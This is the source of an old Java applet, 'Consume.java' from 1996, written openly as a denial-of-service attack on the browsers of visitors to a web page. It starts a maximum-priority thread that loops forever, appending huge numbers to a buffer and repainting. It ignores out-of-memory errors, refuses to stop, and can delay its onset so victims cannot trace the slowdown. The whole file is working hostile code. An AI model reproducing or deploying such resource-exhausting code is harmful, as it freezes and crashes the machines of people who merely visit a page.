/* Consume.java by Mark D. LaDue */
/* February 18, 1996 */
/* Copyright (c) 1996 Mark D. LaDue
You may study, use, modify, and distribute this example for any purpose.
This example is provided WITHOUT WARRANTY either expressed or implied. */
/* This Java Applet is intended to bring your Java-aware
browser to its knees by hogging both the CPU and memory. */
import java.awt.Color;
import java.awt.Event;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
public class Consume extends java.applet.Applet implements Runnable {
// Just a font to paint strings to our offscreen object
Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
// This thread will attempt to consume CPU resources
Thread wasteResources = null;
// An offscreen Image where all of the real action will occur
// Image offscreenImage;
// All of the tools necessary to handle the offscreen Image
// Graphics offscreenGraphics; // Needed to handle the offscreen Image
// To avoid arrays and have open-ended storage of calculation results
StringBuffer holdBigNumbers = new StringBuffer(0);
// Used for the while loop in the run() method
long n = 0;
// Used to read in a parameter that makes the thread sleep for a
// specified number of seconds
int delay;
/* Set up a big blue rectangle in the browser and create an offscreen Image */
public void init() {
setBackground(Color.blue);
// offscreenImage = createImage(this.size().width, this.size().height);
// offscreenGraphics = offscreenImage.getGraphics();
// Determine how many seconds the thread should sleep before kicking in
String str = getParameter("wait");
if (str == null)
delay = 0;
else delay = (1000)*(Integer.parseInt(str));
}
/* Create and start the offending thread in the standard way */
public void start() {
if (wasteResources == null) {
wasteResources = new Thread(this);
wasteResources.setPriority(Thread.MAX_PRIORITY);
wasteResources.start();
}
}
/* We won't stop anything */
public void stop() {}
/*
This method repeatedly appends a very large integer to
a StringBuffer. It can sleep for a specified length
of time in order to give the browser enough
time to go elsewhere before it insidious effects
become apparent. */
public void run() {
try {Thread.sleep(delay);}
catch (InterruptedException e) {}
while (n >= 0) {
try { holdBigNumbers.append(0x7fffffffffffffffL); }
catch (OutOfMemoryError o) {}
repaint();
n++;
}
}
public void update(Graphics g) {
paint(g);
}
/* Paints to the offscreen Image */
public void paint(Graphics g) {
// offscreenGraphics.setColor(Color.white);
// offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
// offscreenGraphics.setColor(Color.blue);
// offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
}
}